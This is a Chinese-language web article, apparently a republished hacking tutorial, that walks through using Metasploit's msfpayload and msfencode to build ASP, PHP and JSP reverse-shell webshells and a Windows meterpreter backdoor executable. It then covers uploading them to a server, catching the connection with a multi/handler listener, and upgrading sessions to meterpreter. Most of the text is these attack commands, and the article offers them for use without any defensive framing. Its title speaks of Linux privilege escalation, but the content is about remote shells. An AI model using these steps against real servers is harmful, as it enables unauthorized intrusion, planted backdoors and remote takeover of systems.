利用Metasploit进行Linux提权

发表于:2016-1-19 13:23

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:蒂诺隆基    来源:51Testing软件测试网采编

  Metasploit 拥有msfpayload 和msfencode 这两个工具,这两个工具不但可以生成exe 型后门,一可以生成网页脚本类型的webshell ,通过生成webshell 然后设置监听器,访问webshell的url,幸运的话可以产生一个session,以便进一步利用。
  下面是具体的利用方法。
  我们可以通过指令查看msf里的payload 然后记住其位置:使用如下的指令来产生一个webshell,和前边将的msfpayload的用法类似,只不过这里生成的是一个网页脚本文件:
  产生webshell
  msfpayload windows/meterpreter/reverse_tcp LHOST=your_ip | msfencode -t asp -o webshell.asp
  然后将此webshell上传到服务器(这个步骤要有上传权限。)
  然后启动msfconsole
  输入
  use exploit/multi/handler,
  set PAYLOAD windows/meterpreter/reverse_tcp(这里的payload要和前边的msfpayload所使用的一样。)
  set LHOST your_ip
  exploit
  然后访问webshell的url,这里使用curl 访问curl http://host/webshell.asp ,如果exploit执行成功的话就可以看到msfconsole中有返回meterpreter shell
  但是我使用netbox 搭建asp环境老是执行出错,希望读者在实际验证不出错后再使用。 这里产生的是asp的webshell 也可以产生php webshell,jsp webshell 需要在msfencode时用-t 参数指定脚本类型,我认为php类型的webshell更容易成功。
  另外如果获取服务器拥有可以上传并且执行上传文件的权限的话,可以上传一个msfpayload产生的后门,设置监听,然后执行后门,返回一个session然后将session转为meterpreter,这样就可以方便的使用meter各种特性了。给个步骤:(前提在上边以及说明了) 
  1、msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.130.131 LPORT=4444 X >/root/cracer.exe
  2、打开msfconsole (另外开一个terminate终端)
  3、设置监听(监听这个词好像很高级,别被它吓到):
  use exploit/multi/handler,set PAYLOAD windows/meterpreter/reverse_tcp,set LHOST=your_ip,set LPORT 4444,执行exploit
  4、将test.exe 上传到服务器
  5、在服务器上执行test.exe 就可以返回一个shell了。
  6、将windows shell 转成 meterpreter shell:由于使用的payload是shell_reverse_tcp,看名字就知道了返回一个shell,可以在监听器看到返回了一个windows shell(windows 命令提示符),而不是一个meterpreter shell,这样就要转换了,方法是 按下Ctrl + z 使 windows shell 后台运行,然后sessions 指令查看 shell 的session是多少
  ,然后执行 sessions -u number(number为你找到的windows shell session号。这样就产生了一个meterpreter shell,可以利用meterpreter强大的功能。也有可能出错,仔细看出错信息然后复制其一部分google一下。
  可能读者些疑问:既然可以在上传执行exe文件,为什么要用msf呢,直接上传一个强大木马不是更方便么。我想说因为msf 中有个强大的Meterpreter。
  总结,可以发挥想象,挨个试试payloads有的payloads 不能用,也许有意外的发现。
  当LINUX提权反弹不了时.经常遇到这种情况 请出MSF ..
  1 .生成WEBSHELL文件
  msf > msfpayload php/reverse_php LHOST=你的IP LPORT=端口 R > dis9.php
  我的BT4是在/ROOT/ 目录 然后吧dis9.php加 才能运行
  把dis9.php传进你的SHELL里 例如 www.dis9.com/dis9.php
  2 . 然后MSF设置接口模板和参数
  msf > use multi/handler //进入 multi/handler 接口
  msf exploit(handler) > set PAYLOAD php/reverse_php //写入模块 不清楚的可以先 info php/reverse_php 看看介绍
  msf exploit(handler) > set LHOST 你的IP //生成dis9.php的LHOST的IP 也就是你的IP 要一样
  msf exploit(handler) > set LPORT 8080 //同上
  msf exploit(handler) > exploit //执行
  3.反弹SHELL
  然后访问你的dis9.php
  root@bt4:linkswww.dis9.com/dis9.php
  这样就会反弹一个SHELL
  我们就可以继续FUCK ALL
  ///////////////////////////////////////////////////////////////////////////////////////////////// JSP
  msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.10.1 R > balckrootkit.jsp
  msf > use exploit/multi/handler
  msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp
  set PAYLOAD java/jsp_shell_reverse_tcp
  msf exploit(handler) > set LHOST 192.168.10.1
  LHOST => 192.168.10.1
  ——————————————————- 这里没SET端口 默认的4444
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号